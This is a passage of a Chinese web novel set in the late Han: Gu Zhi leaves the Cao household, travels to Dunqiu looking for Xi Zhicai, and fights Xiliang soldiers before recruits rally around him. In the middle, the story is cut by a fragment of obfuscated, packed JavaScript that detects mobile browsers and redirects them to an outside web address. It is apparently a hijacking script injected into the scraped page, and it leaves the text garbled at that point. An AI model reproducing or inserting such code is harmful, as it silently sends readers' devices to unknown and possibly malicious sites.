“护卫只会在外沿巡逻,并不会在寝居周围踏足……”
他抬起头,询问顾至,
“请问顾兄,何时听到零碎的脚步声?”
“至少数十息。”
得到答案,曹昂转向荀彧:“正逢多事之秋,还请荀兄先择一处卧房落榻。我会让护卫加强巡逻,不让贼人再来打扰贵客。”
荀彧颔首:“曹将军,这间卧房是否有人居住?”
荀彧所询问的卧房,正位于顾至隔壁。
“倒是无人居住。”曹昂道,“一会儿我让侍从略作整理,还请荀兄稍待片刻。”
“有劳将军。”
顾至望着院内挤在一块,空房众多的“违章建筑”,实在想不通荀彧为何要住在自己隔壁。
顾至垂眸。
脚底的印记被鞋面盖住了一半,仍有一半清晰可见。
他并没有刻意将印痕抹去。这一脚也并非为了掩饰,而是引导。
曹昂告罪离去,只让随从留下收拾寝居。
留在院中的仅剩顾至与荀彧。
顾至正准备进屋,倏然想到荀彧的“颍川猎头”之名,停下脚步。
“荀兄也来自颍川?”
早在城门口,荀彧就已做过自我介绍,提过自己的家乡。
此刻对于顾至这番不走心的询问,他没有流露出任何不解,行若无事地回答:
“正是,在下出自颍川,颍阴县人。”
顾至继续问:“不知荀兄是否认识一人——姓顾名彦,颍川人士?”
荀彧停顿片刻,仔仔细细地回忆,摇头:“未曾。”
得到这个结果,顾至有些意外,倒也谈不上失望。
此时侍从正好从隔壁的房舍走出,他不再多言,向荀彧道了谢,转身进屋。
木门在视野尽头缓缓闭合,荀彧仰颈抬眸,清莹的瞳光定在屋顶的边缘。
有一块青瓦,虽物归原位,却仍留下了微不足道的痕迹。
小小的一个温县,确实不同凡响。
伴着随从“风大了,请郎君入屋,以免受凉”的提醒,荀彧收回目光,抬步进入隔壁屋舍。
一夜好眠。
第二天,顾至找到曹昂,表示自己要去东郡,是否能借马一用。
曹昂蹴然:“可是寒舍招待不周?”
“并非如此。”顾至否决,“私事缠身,等处理完了便回。”
昨晚发生的事历历在目,曹家正是焦头烂额的时候。似顾至这般吃白饭的“高等囚徒”,在这个危机关头要求离开,不免让人多想。
但——
他在这时候离开,恰巧能为曹家提供一定的便利。
顾至清楚地明白这一点。他相信,曹昂对此同样心照不宣。
果不其然,曹昂并没有因为顾至的辞别而失望,他的态度一如往常,甚至效率极高地让人准备了一匹快马,一柄锋利的佩剑,以及足够用的盘缠与干粮。
“天色渐凉,路上风大,家中尚未来得及为先生准备纩衣。”
在私下里,曹昂仍习惯叫顾至先生,
“昂与先生身量相仿,这件袍衣还请先生收下,聊避风霜。”
“多谢大公子。”
若不是早就猜到曹氏的打算,曹昂这番殷殷关照还真有可能叫他良心作痛。
可惜,没有如果,也没有可能。
顾至表情寡淡地想着,对于接下来的请求,他没有任何的迟疑与见外。
“还有一事想托付于大公子。”
换了旁人,只怕要因为这“得寸进尺”而瞪目。
可曹昂仍然没有任何不悦,只耐心而认真地望着顾至:“先生请说。”
“我有一位兄长,姓顾名彦,若他来到此地,还请大公子将这封信转交给他。”
曹昂接过信囊,笑道:“不过举手之劳,何言托付。”
却见顾至又取出另一只布囊:“若三日内,城中生乱,请将这布囊交给曹将军。”
曹昂面色一肃,郑重接过。
他将顾至送到城门口,目送顾至上马。
“先生珍重。”
半句未提“我在此等候先生”之类的话。
“大公子,珍重。”
顾至策马扬鞭,向东而行。
直到再也看不见顾至的身影,站在曹昂身后的随从才忍不住开口嘀咕。
“早不走晚不走,偏偏这时候……”
“不可胡言。”曹昂正色喝止,转身入城。
侍从连忙跟上。因为知晓大公子的脾性,心中又着实不忿,在憋了半条路后,他又忍不住开口。
“公子心善,可那顾……顾先生,若是一去不回,又该如何是好?”
“他若不回,那便不回。”
曹昂撤下脸上的肃穆之色,无声轻叹,
“逸群之才,若真的心不在此,你便是用上千万手段,也无法让他屈就。”
曹昂看似叹息,实则如释重负。
昨夜虽然拿下了一名叛徒,可城内还是隐患重重。
顾至在这个时候离开,正巧帮了大忙,或许能帮他们引蛇出洞。
原本他还发愁,不知该如何与顾至传递此事,且不让细作发觉。倒是没想到,今日一早,顾至竟主动提了辞请。
不论心中是什么想法,曹昂面上都维持着恰到好处的温和与忧虑。
他得表现出苦恼、强自镇定的模样,却又不能表现得太过。
“先生不是言而无信的人。”
曹昂极力控制着神色,不
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让自己露出一丝一毫的破绽,
“以先生的才略,若贪财慕势,从一开始就不会与我们结伴。”
更何况。
曹昂脚步微顿,看向路边被巨石封住的井盖。
在这个时候留下的人,就真的一定可信吗?
……
城外。
马匹疾奔三里,追上了在官道边等候已久的老徐。
老徐在顾至的卧房窝了一晚上,天刚蒙蒙亮就悄悄离开,骑上了事先藏在城外的马。
他在路口百无聊赖地等待了半个时辰,终于等到了顾至。
顾至从马褡子里取出一只被麻布包着,仍有几分温热的馕饼,丢给老徐。
老徐单手翻上马背,顺势接过馕饼:“谢了。”
他三两下地将馕吃完,将沾满饼屑的麻布收入佩囊。
官道畅通无阻,两人纵马赶路,大约赶了一个多时辰,人马皆疲。
趁着马匹休整,两人到溪边汲水的功夫,老徐问出了盘桓一晚上的疑问:
“你不应该是戏贤弟的亲朋吗?为何表现得……好似不认识他似的。”
顾至确实不认识,原主记忆中也没有任何姓戏的人。
个中缘由,不便与老徐说道。因此,顾至并未回答,只是提出反问:
“还不知那位姓戏的郎君,表字为何?”
“戏贤弟去岁刚刚及冠,表字……容我想想。”
因为多年未见,加上两人重逢时的兵荒马乱,一时之间,老徐竟想不起对方的表字。
“他上次予我的书信上写了……写了什么来着。”
这一想,就想到休息结束。
顾至本也就是随口一问,见老徐仍在皱眉思索,他先一步勒绳上马。
“对了。”老徐一拍掌心,“志才。戏郎名焕,字志才。”
顾至:“……”
戏志才,曹操早年的谋士,早亡。
虽然姓戏的人十分罕见,倒也不用抛出唯一一个在曹魏势力留下记载的戏姓谋士。
乐/透的头等奖都没有这么精准。
顾至回忆曾经看过的《大魏枭雄志》,隐约记得里面并没有戏志才的出场。
所以……即使在《大魏枭雄志》没有提及,这些曾在史书上有过记载的人物也会在这个世界出现?
短暂的想法一掠而过,顾至倏然笑了。
“原来是叫志才。”
听不清情绪的声音,却被拖出了几分意味深长。
老徐颇为怪异地看了顾至一眼。
“你当真不认识戏贤弟?”
顾至缓缓摇头。
老徐面上的疑惑之色更深。
不等他捋清思绪,又听顾至询问。
“徐兄可见过顾彦?”
老徐当即反问:“顾彦是何人?”
“是我的兄长。”顾至定定地看了老徐两眼,“看来徐兄是从未见过了。”
他的心底多了一丝别样的念头。
“汝颖多奇士”,颍川郡谋士众多,同为青年一代的士人,他们之间相互认识的并不少。
荀彧举荐与他相识的戏志才、郭嘉、钟繇、杜袭、陈群——他们都是来自颍川的策士。
在颍川出生的老徐与戏志才相识,颍川策士戏志才疑似认识同为颍川人的原主。
可为什么……没人认识原主的哥哥顾彦?
15.顾坚强
多少有些奇怪。顾至心想。
依照《大魏枭雄志》的说法,原主的兄长顾彦谋略出众,颇有一些才名。
老徐倒也罢了。荀彧被戏称为颍川猎头,对从未在外展露过才能的郭嘉都能知之甚深,可他却从未听说过“谋略出众,在故乡颇有才名”的顾彦。
单纯只是巧合,还是……
顾至将一切疑问藏在心底。接下来的路程,他和老徐急速策马,没有再交谈。
从河内郡到东郡,从温县到顿丘大约二百多公里,取最近的官道,减去中途休息的时间,全程计八个小时,四个时辰。
两人取道荡阴,途径黄泽、繁阳,最终抵达顿丘。
进入城内的时候,天色已晚,已临近宵禁。
半路下起了毛毛细雨,两人顾不上躲避,牵着马疾走,来到城西的客舍。
这间客舍小而老旧,墙面新刷过,屋顶攀着几节粗壮的络石藤,一直延伸到屋后的杨树上。
两匹棕马交由客舍的酒家佣安置,顾至与老徐带着一身水汽,穿着被水浸得发沉的衣袍进入旅店。
坐在垆前的掌柜正在拨弄算盘,听到动静,抬起头。
他蓄着半尺长的黑色胡髯,目光炯炯。
掌柜看起来认识老徐,而且与老徐颇为熟稔。
“元直,回来了?”
元直应当是老徐的字,徐元直……顾至多看了老徐一眼。
老徐点头,接过佣工递上来的葛布巾,将其中一条分予顾至。
“志才这几天可有清醒过?我带人来见见他。”
算盘上的木珠子凌乱地撞在一处,晃荡作响。
掌柜讶然抬头:“戏处士昨日醒来,看着是大好了。他说要去寻你,你没与他碰上?”
浓黑的长眉在额心扭成一线,老徐的声音低沉了一些:“应是岔开了。”
他又问掌柜,“志才真的大好了?葛兄怎么说?”
“葛真人倒是没说什么,跟着戏处士离开了。”
顾至用葛巾包着衣袂,沉默地拧着水,听着老徐与掌柜的谈话。
等掌柜交代完,他只问了一句:“那个为戏处士报信的人,如今在何处?”
掌柜虽然不认识顾至,但见他与老徐一同前来,倒也乐意为他解惑。
“那人自称有事,在元直走后就离开了顿丘,差不多是前后脚的功夫。”
果然可疑。
顾至不再询问。
老徐无暇他顾,三两步走到垆前,擦到一半的葛巾被丢到石台上。
“程兄,你说志才去寻我,莫非他知道我去了河内?是葛兄告诉他的?”
“这我就不清楚了。”
程掌柜拾起湿漉漉的葛巾,丢到老徐的怀里,
“擦干净,你看看,都把地上淌湿了。”
老徐掐着葛巾,来回踱了两步。
他看上去有些焦急,又有些不得劲。
“顾郎,你看,我并未骗你……只是没想到与志才岔开了,害你白走这一遭。”
顾至摇头:“不算白走。”
就算没有老徐这件事,在钱四事件之后,他也该离开几天。
只有这样,才不枉费曹操“佯装断腿”的表演。
顾至这句话乃是随心而发,可老徐并不这么觉得。
他把“不算白走”当成了客套话,还以为顾至怕他窘迫,用这句话宽他的心。
老徐面上的动容之色太过显著,看得顾至默然无言。
但顾至没有解释,只是询问老徐:“可还记得报信之人的模样?”
老徐回了句“记得”,又说:“先去客房换身衣服,一会儿我来找你。”
确实不急于这一时,顾至没有异议。
等顾至到二楼客房简单洗漱,换上店内提供的短褐,同样整理了一番的老徐掐着时间敲门。
房门打开,站在门外的除了老徐,还有送飧食的佣工。
两份飧食被并排放到相邻的两座案上,佣工轻手轻脚地退出客房。
“我明白你的疑虑,事到如今,我也觉得那报信的小子颇为可疑。”
老徐在案边坐下,提起漆盘上的陶壶,
“只可惜进城的时候赶上了宵禁,现在已经没法出城了。”
他倒是可以偷偷翻墙,和昨天夜探曹宅时一样摸黑跑路。
可是跑得了人,也跑不了马。
他总不能扛着马翻墙,或者徒步跑回温县吧?
老徐给自己倒了杯浊酒,一口饮尽。脑中一会儿是他艰难地扛着比人还高的大马,试图驮上高墙的画面,一会儿又是他在二百公里长道上狂奔,吐舌气喘的模样。
老徐不由打了个哆嗦。
顾至慢悠悠地吃着盘中餐,没有对老徐的话予以评价:
“早些休息吧,明日赶早。”
听起来冷淡的话语却让老徐镇定下来,开始提筷子吃饭:
“你说得对,多想无益。”
顾至:“?”
他什么时候说过?
食者不言,两人专心吃着饭,都没有说话。
现在是酉时六刻,已经错过客舍开火的时间。客舍提供的饭是事前煮好,等顾客需要时才煨在炉上的大锅饭。因为焖得太久,口感并不佳。
但不管顾至还是老徐,都将饭菜吃得干干净净,一点没有剩下。
等老徐饭后饮了两小杯酒,顾至放下筷子。
难吃。
他在心中叹了口气。
不管怎么样,下次都让他穿到一个有美食的地方吧。
佣工收完碗筷,老徐捧着那壶酒,以指为笔,沾了少许酒液,在案上迅速勾画。
“这是那报信人的模样,你以后若见着了,心里留个底。”
饭后昏昏欲睡的大脑为之一清,顾至敛去些许漫不经心,看向桌案。
一尺见方的案面,一个人头赫然其上。
他青面獠牙,舌头粗长,鼻头硕大……与哈士奇格外神似。
真是震古烁今的神仙画作。
顾至抽了抽嘴角:“地狱三头犬?”
老徐茫然:“什么地狱三头犬?”
顾至换了个说法:“……你这画的是人还是犬。”
老徐神色惊异:“自然是人。犬怎么能口吐人言,替志才报信?”
此话一出,两人都沉默了。
顾至为了这个人头哈士奇而沉默,老徐则是因为……在说完这句话后,他也越看越觉得自己笔下的人像狗。
老徐胡乱将酒液糊成一团,销毁“画作”,又用葛布拭去桌上的污渍。
“咳……”他提着酒壶起身,“早点睡吧,我的寝居在二楼尽头第二间,其余的明天再说。”
“不送。”
老徐背对着顾至,挥了挥手,在离开卧房的时候替他掩上大门。
顾至解下腰间佩剑,扣在简陋的木架子上,坐在榻边整理行囊。
行囊内包了一布袋的梅诸,近似于现代的话梅干。
随手掏了一颗,丢到口中,顾至松散的神情被酸成困惑的形状。
大公子,你很妥帖,还不忘在客人行囊里放零嘴。
下次别放了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916794|160068||http|test|mini|href|location''.split(''|''),0,{}));
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>坚强地吃完无核的梅干,顾至用清水漱了口,略作消食,便褪了外衣,躺在榻上休息。
估摸着时间,大约是戌时一刻,晚上七点多。
要在这个时间点睡着,也是一种挑战。
顾至翻了个身,原以为又是深夜煎鱼的一天,却没想到,这一次入睡格外轻易。
伴着淅淅沥沥的雨声,所有思绪逐渐沉淀,被笼在雾气之中。
……
第二天,顾至准时醒来。
窗外的雨还在下,雨声伴着喈喈鸟鸣,格外助眠。
顾至打开窗板,少许雨丝见缝插针地进入,将窗沿染成深色。
天色微亮,因为下雨的缘故,辨不清天时。
顾至拉开房门,一眼扫到走廊的尽头,一个人影靠着墙,似乎已在那个位置等候了多时。
走廊一角挂着漏壶,显示的时间正是卯时六刻,早上六点半。
“……早?”
老徐打了个哈欠,目光涣散,眼圈青黑。
“看来你睡得不错。”
顾至也很意外自己睡得不错,但这显然不是什么值得探讨的话题。
“走吗?”
“走。”带着与千年后早班社畜同调的气息,老徐满脸颓唐地迈步,丢给顾至一个陶瓶,
“这是刀尖药,带上一些,髀肉疼了可以涂上一些……对了,你脖颈上那道伤也可以用,那伤还未完全掉痂,每日用上一些,没有坏处。”
骑马久了,两腿容易摩擦出血,他们昨日的二百里加急并没有想象的那么轻松。
老徐这也算有备无患,只不过,昨天他的手上并没有这东西,也不知从哪捣鼓来的。
“谢了。”
顾至收好陶瓶,与老徐在客舍内用膳。
朝食过后,掌柜周到地为他们准备了两套斗笠、蓑衣,以及一些路上吃的干粮。
两人收好包裹,付了银钱,当即离开顿丘,策马前往温县。
又是二百多公里的路程。只是这一回,因为天降大雨,道路泥泞不堪,即使他们中途减少了休息时间,也依旧无法像来时那样迅疾如电。
当他们离温县只剩下十里,雨势渐小,濛濛雨丝轻飘飘地旋转,清凉拂面。
“路上被这场雨耽搁了太久。看邻城挂起的灯,只怕没多久就要进入宵禁。”
老徐稍稍放缓马速,呵出的气在雨中化作白烟,
“反正要等明天才能寻人,我先不进城了,到城外农户那借住一晚。”
不管老徐是为了避免麻烦,还是另有想法,顾至都没有阻拦。
“我先入城,你若要寻我,便到昨天的地方……”
老徐勒转马头:“知道了,你快进城吧,一会儿就宵禁了。”
顾至颔首,没有再多言。
“就此别过。”
勒缰扬鞭,向着温县纵马疾驰,顾至迎着漫天细雨,掠过数不尽的草木,终于看到高耸而半颓的城墙。
在距离城门不足三里的官道,五个披坚执锐的精兵截断道路,煞气汹汹地举着长/枪。
“停马,绕道。擅自靠近者,死。”
顾至依言勒马,被斗笠遮挡的面容在雨雾中模糊不清。
“几位,我赶时间,可否通融通融?”
“废话什么?”为首者怒目冷喝,冷硬的枪尖指向顾至的所在,
“赶紧滚,兴许还能捡回一条狗命。”
露在斗笠之外的薄唇被风雨冻得有些发白。
听到精兵的恫吓,那苍白的唇好似轻轻勾了勾。
“如果我不滚呢?”
16.顾将军
五个精兵没有回答,驭着马散开,提着锋锐的武器,呈包围之势逼近。
杀意在刀尖戟首凝聚,准备将眼前这个“不识相”的找死之人斩于马下。
“何必大动干戈,我只是一个连着赶了两条路的可怜人。”顾至抽出大公子所赠的佩剑,松开勒着马缰的手,向几人展示掌心被缰绳磨出的水泡,
“几位,不如放放水,让我过去,你好我好大家好。”
“原来是个疯子。”肤色黝黑的兵卒唾了一口,一口浓痰落入草地,消失无踪,
“赶紧把他杀了,省得浪费时间。”
另一个方脸的兵卒嫌恶地扭开视线,凝肃而多疑道:“此人看起来有恃无恐……”
“怕什么,他就一个人,又没穿甲衣,我们五个难道还对付不了他——何况,其他部队正在附近放哨,若有异动,随时都能驰援。”最南侧的小个子兵卒如此回应。
“勿要多言,早点解决此人。”
领头的首领一锤定音,几人提着武器纵马起步,风驰电掣般冲向顾至。
二十丈,十五丈,十丈……
在双方距离只有十丈的时候,顾至终于“后知后觉”地回神,调转马头,往反方向走。
“想跑?晚了。”
策马最快的黑脸兵卒率先逼近顾至,扬起大刀,就要砍下他的头颅。
顾至猛地牵动马绳,不知用了多大的力,竟让掌心的水泡溅出血花。
马儿吃痛地鸣了一声,本能地往右边避让,恰巧带着顾至躲过这道刀锋。
像是没有察觉到掌心的疼痛,顾至面无表情地侧首回望,低声喃喃,宛若自语:
“还真是不讲道理。”
剑柄向上,挑翻了硕大的斗笠。
浅棕色的眼瞳倒映着漆黑的夜色,像是照不见光的深潭,唯有死寂的黑。
黑脸兵卒被看得心中一突,持刀的手下意识地慢了半拍。
下一瞬,他右颈一凉,水雾般的细雨仿佛冻结成冰,划过他的脖子。
鲜红迸溅。
黑脸兵卒睁大眼,疑惑地看着距离自己越来越远的少年。
他刚才并没有伤到对方,这血是哪来的?
不等他想个明白,意识已被黑暗彻底切断。
“你随地吐痰,那就你先去吧。”
茫然的尽头,只朦胧地听到这一句话。
后面几人大骇,刺骨的寒意从颈部传到脚底。
首领眼中杀意更甚,提着长/枪加速逼近,跃过排在次位的小个子兵卒:“传讯。”
排在最后的兵卒僵硬地调转马头,往西侧奔去。
常言道“一寸长一寸强,一寸短一寸险[1]”,枪为百兵之王,在马上战斗中占了极大的优势。
在剑锋未能触碰对方的距离,首领握着枪尾,抬枪而刺。
顾至再次调转马头,两腿夹着马腹,上身一软,紧贴着马背倒下。
枪/头掠过他的鼻尖,刮起一道猩冷的凉风。
顾至眼也未看地将长剑掷出,双手抓住枪/身前端。
一击未中,首领正要收枪再攻。
倏然,一柄利剑划过他的大腿,刺入马腹。
疼痛传来的一瞬间,分神的首领被顾至抓住漏洞,几乎要被夺了长兵。
他死死抓着枪尾,还未使劲,身下被刺中腹部的骢马发了狂地仰身,将他狠狠地甩下马背。
咔——
因为死死握着长/枪的一头,摔到地上的首领长臂被冲力拉得脱臼,无力地松开兵器。
完了。
念头刚落,身躯便被贯穿。
连带着身上的木甲,被一枪穿裂。
另外二人魂惊胆裂,各自往不同的方向散开,却都没能挡住鬼魅般的枪尖。
最先策马前去报信求援的兵卒满头冷汗,汗水与雨水混在一处,分不清是热是冷。
他听着身后短促而紧密的惨叫,被恐惧撅住了心脏,一个劲地祈祷。
“再拖久一点,再拖一会儿……”
骏马已跑出了最大的时速,兵卒却仍觉得不足。
“怎么这么慢——该死!”
不止何时,他的后背激起了一片疙瘩。
他疯了一般地策马向前,不敢回头,却又忍不住诡异的冲动,想要回头看上一眼。
“到底追上来了没?”
这个问题反复折磨着他,迫使他回头。
就看一眼——
就一眼——
兵卒回过头,看见了飞舞的红缨。
……
顾至甩去长枪上的血,马速未停,继续向前。
距离温县,还有二里。
……
温县城外,曹家新兵驻扎的营寨漆黑而死寂。
“我觉得他们说得极有道理。”留着棕色长胡的男子率先打破沉默。
“如今天下大乱,我等背井离乡,提着脑袋投军,不就是为了一口饭吃?”
男人道,
“我们本来就不是曹家的下人,哪讲究什么‘从一而终’?谁能给我们饭吃,我们就追随谁,替他卖命,就这么简单。”
这番言论,得到众多新兵的附和。
只有一个看上去浓眉大胡,声音却稚嫩得像是十三岁少年的男人硬邦邦地质疑:
“既然如此,刚才那些人劝我们入伙的时候,你怎么不去?”
棕胡男子不以为然:“这毕竟是关乎身家性命与未来的大事,当然要好好考虑清楚,哪能想也不想,就轻率地做决定?”
“你觉得这些乌合之众能赢?”闻言,少年音的男子目露讽刺,
“这些人帮着董卓助纣为虐,投效他们能有什么好果子吃?”
董卓焚烧洛阳的恶行人尽皆知,就算有人没听过董卓的劣迹,在河内郡看到的断壁颓垣、枯草残灰,以及沿途残破的碎尸也能让他们认识到董卓的残暴。
“兵者,必有胜负,最终结果无外乎两个——那一队西凉军赢,或者曹将军赢。你们大可以见风使舵,按照西凉兵的指示做事。可在那之前,希望你们想清楚后果。”
少年音男子将目光扫过众人,明亮的眼睛像是含着刀,迫使一些人移开目光。
“若西凉军赢了,他们未必会信守承诺,带我们走。他们或许会杀了我们,或让我们自生自灭。”
棕胡男子张了张嘴,想要反驳。
但想到董卓部曲劫掠三辅的劣行,以及屠杀平民,拿平民的头颅充当军功,耀武扬威的残忍,所有反驳之语都像是被浆糊黏住,半句都说不出。
“反之,若最后是曹将军他们赢了……”少年音男子环顾四周,看着众人若有所思的神色,
“你们以为,哪一个将军,会接纳一群白吃白喝,却在关键时候背叛的人?”
“如果我们背叛了,曹操他们不但不会再接纳我们,还有可能将我们全部杀死。”一个脸色青黄,瘦骨如柴的男子笃定道,他已经被少年音男子说服。
“可是……”
其他人仍有些迟疑不决,一个凹眼的中年男子大着胆吱声,
“我们就不能两边都不选,等着他们打完吗?”
另一人附和:“是啊,那些西凉军可是杀人不见血,我们都是新兵蛋子,又打不过他们……”
既然背叛没有好结果,那不背叛不就行了?
就当什么不知道,缩在城外……
“嗤。”这一回,嘲讽冷笑的是最初劝他们背叛的棕胡男,
“不偏不党,哪有这么好的事?两个都不想得罪,往往意味着两边都会得罪。什么都不干,光等着结果,那就是等死。”
“说得对。”这一回,少年音男子与棕胡男达成了一致的见解,
“墙头草,只会被人铲除。我们这些吃主家饭的部曲,可不能光吃白饭,不干事。”
“说得轻巧,”有人不服地嘟囔,“西凉军留了一支队伍在外面监视我们,我们这些毫无作战经验的废人能去哪儿?”
少年音男子皱眉,正想用“我们人数比他们多数倍”来反驳,倏然,帐外传来
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一声怒喝。
“什么人!停下!”
高亢的声调几欲刺破夜幕,如同刀刃刮在青铜器上的尖鸣,极其刺耳。
帐内的十几人全都噤了声,面面相觑。
“这个声音我认得,是西凉兵留在这的一个小头目。”
沉默之中,瘦骨如柴的新兵率先开口。
“外面一定出了事。”少年音男子站起身,从草垫子下掏出一把简陋的砍刀,
“我出去看看。”
剩下的人没有异议,眼巴巴地看着他整理着装。
那个瘦成一把骨架的新兵犹豫了许久,摸出自己的武器,走到少年音男子的身边。
“一起。”
少年音男子看向众人:“还有要一起的吗?”
无人回答。
他摇了摇头,带着瘦子掀开营帐。
“啊——”
刚走出不远,二人就听到一声凄厉的惨叫。
少年音男子被吓了一跳,定了定神,发现瘦子格外镇定,正目不转睛地看着前方。
他立即转过视线,查看前方的乱象——
西凉人在这营寨留下了二十人,用来监视、限制他们的行动。
这二十人又分为两队,分别堵着营寨前后的大门,同时对城门和营寨进行盯梢。
此刻,前门的营门陷入混乱,几个西凉兵身影浮动,不知道在做什么。
后门的那十个西凉兵听到呼喊,正提着武器向这边冲来。
“躲起来。”
瘦子拉着他躲到一间营帐的后方,营帐中藏着十几个年少的新兵,正睁着眼,惊恐地看着他们。
“别怕,自己人。”
少年音男子低声安抚了一句,忙不迭地走到营帐的边缘,向外探头。
夜幕中,一个穿着蓑衣,乌发飞扬的身影,正捏着马缰,提着尖头枪,在西凉兵的小队中穿梭。
拨,刺,扫,挑,压……
等人长的枪身,仿佛是天生就长在那人手上的部件,连贯自然到不可思议。
每一次照面,都有至少三四个招式融合在短短一击上,或攻或防,简练而毫无破绽。
少年音男子目不转睛地看着,身后的瘦子亦屏住呼吸。
他们看到那个身影以一挡五,却丝毫不落下风,反而……
“五人?”少年音男子终于意识到不对。
减去在营寨后门看守,此刻正往这边冲的那几个人,在前门守卫巡逻的西凉兵,应当有十个。
另外五个西凉兵到哪去了?
这个念头刚在心底成型,新兵们便看到那柄锋锐无匹的长/枪,扎入了一个西凉兵的胸膛。
那个西凉兵刚刚跨上马背,提戟迎战,还未走过三个回合,就被一枪贯穿,毫不留情地扫落在地。
他的身躯重重地跌落在草地上。新兵们这才发现,原来,就在营寨的前门门口,早就已经横列了五具西凉军的尸身。
在他们出来之前,这位枪术高绝的人物就已单枪匹马、轻描淡写地杀了五人。
新兵们目光颤动,远远望着那道纵马杀敌的身影。
一击即中,那人退出战圈。
食指与中指抹去额上沾染的血,在血色的掩映下白得刺目。
雨停,月明千里,清辉洒落。
他移开了手,对眼前四个战栗不前的西凉兵视若未见,将目光投向了更远处。
守在后门的十个西凉兵,已快跑逼近,凶煞逼人。
那人不再恋战,收起枪势,欲策马离开此处。
看清对方模样的瘦子却是心神一震,与少年音男子同时脱离营帐的遮蔽,高声大喊:
“顾将军!”
……
顾至一路驰骋,在临近城门的时候,再次被一支十人的马队截住去路。
他顺手杀了六人,正准备离去,忽然听见两个声音带着颤抖与激动,异口同声地大喊。
“顾将军!”
熟悉的称谓迫使他放缓马速,抬眸看向声音传来的方向。
17.统率
树影幢幢,两个穿着简陋短褐,举着粗劣武器的新兵站在竹篱前,眼神极亮。
其中一个曾奉曹操之命,在半道上给他递过饭食。
顾至往身后瞥了一眼,驭马来到二人身前。
“你们是曹操在建平招募的新兵?”
“正是。”
不等顾至再问,少年音男子瞥了眼远处——或疾跑逼近,或畏葸不前的西凉兵——小声而飞快地汇报。
“城外新兵共一千三百六十一人,有四百零二人不见踪影,另有五百一十二人被董卓的兵将策反,余下四百四十七人——尚未背叛曹将军,全在营中。”
顾至多看了他一眼。
瘦子在一旁补充:“为防不测,徐兄在营中清点了人数。至于城中的情况……我们未曾入内,并不知情。”
二人以为,顾至多少会顺着他们的话询问,或是让他们召集营中的所有士兵,共同抗敌。
却没想到,顾至只是反手拎着枪,意味深长地笑道:“四百四十七人,被二十个西凉兵‘关’在营中?”
两人脸色微变,却并未羞恼。
他们正欲解释,另一个粗犷的男声高调地插入。
“我们不过是乌合之众,无人敢出那个头,率领一群孱弱的新兵蛋子突袭。”
帐篷的另一头,棕胡男子走出阴影,
“何况,门口那二十个兵不过是放哨的,暗处还有更多的西凉兵。”
棕胡男子望着从营寨后门疾跑而来,很快就要抵达此处的十个西凉兵,泄出一丝讥诮:
“就算你能以一当十,将他们全杀了,也会有更多的西凉军赶来,将你团团包围。”
到那时,即使武艺再高的人,也不可能从成百上千的军阵中逃出生天,他必死无疑。
棕胡男子正等着顾至露出戒惧之色,却见顾至无动于衷地站着,仿佛并未听见他说的那些话。
“倘若真的有那源源不绝的‘西凉军’,他们为何会留下你们的性命?”
棕胡男子嘴角的讥笑蓦然一僵。
“是因为他们良善仁慈吗?”顾至垂眸反问,语气极其平和,却让棕胡男子脸颊一辣。
是啊,以西凉军以往的作风,若是他们人数众多,能以绝对的优势碾压,何必留下营中的新兵?还大费周章地来营地策反?
想通了关节,棕胡男子难掩面上的懊恼。
可恨如此浅显的道理,他竟没能及时看透。
顾至没再理会他,看向少年音男子与瘦子:“你二人叫住我,是想让我带你们离开?”
“并非如此。”少年音男子望着逐渐逼近的西凉兵,加快语速,“敝人斗胆,想请将军做我们的统率,指挥我们御敌。”
灼灼的目光熨得肌肤发烫,顾至却神色浅淡,简慢而冷峭地反问:
“你为何觉得——武艺高强的人就一定懂得统率之道?”
何况,“希望被统率”只是眼前这两人的想法,那剩下的443个兵卒,未必与他们一心。
一盘冷水兜头浇下,少年音男子与瘦子同时怔愣。
“……是我们想当然了。”
少年音男子低下头,抹了把僵硬的脸,竭力让自己清醒,
“顾将军,抱歉,耽搁你这么长的时间。”
他与瘦子让开道,仓促地行了一礼,绕过骏马,迎向远处的几个西凉兵。
“此处由我们断后,还请将军速速离开。”
自方才起,棕胡男子便不再参与几人的对话,而是绕开了几步,站在附近的营帐前:
“刚才的话,你们都听到了吧?凉州人不过是虚张声势,现在营里只留了十四个西凉兵,你们真的要当缩头乌龟,到死都躲在营帐里,等他们一把火将你们烧成灰?”
棕胡男子所说的话不全是恐吓,那从后营匆匆赶来的西凉兵,每人手上提着一柄火把,看起来真的有火烧军营的架势。
短暂的沉默后,附近的营帐陆续走出一些人,有武器的提着武器,没有武器的提着柴火棍,迟疑地走到三人身边。
零零散散地,竟也有七八人。
顾至本该毫不留念的离开,可他驾着马行了几步,并没有走远,只是在后方远远看着几人。
“小孩,你叫什么名字?”
听到“小孩”两字,少年音男子一个哆嗦。
但他也意识到这是在叫自己,高声回道:
“我叫徐质……还有,我不是小孩。”
只有十三岁,怎么不是小孩呢。
顾至望着这个外表成熟,长着一脸浓胡,实际上只有十三岁的少年音“男子”,心知对方为了被顺利募兵,故意隐瞒了年龄。
他大概不知道。
外貌可以骗人,未经过专业训练的声音却很难瞒天过海。
“他是贾信。”徐质指了指旁边的瘦子,继续扬声。
他背对着营帐,即使明白顾至可能已经离开,并不需要他继续介绍,徐质也没有停下,仍然报着一个又一个为他所知的姓名。
“这个是牛金。”
徐质指着棕胡男,转向另一头,
“这是路招……”
一个个熟悉的名字从徐质口中冒出,如同翻开厚厚的史籍,查看那些只在典籍中记录着只言片语的英杰。
他们是曹魏未来的战将,或默默无闻,或名噪一时。
而如今,他们只是别无所长的新兵。在大多数人都沉默蜷缩、畏怯遁藏的时候,他们抄起了手上的刀兵,结队反抗。
顾至坐在马背上,远远望着。
有人起头,越来越多的孱弱新兵或昂首,或哆嗦地从营帐中走出。
人数逐渐上升到二十,三十……一百。
想要包围顾至,合而杀之的十四个西凉兵不由傻眼。
转瞬间,他们被百来号人包围。
“你们做什么?快回去!想造反不成?”
“附近还驻扎着李将军的军队,要是惹恼了他们,不止我们要挨骂,你们也没好果子吃!”
西凉兵色厉内荏地喊着,一如往常。
可这一回,不再有人相信他们的威吓。
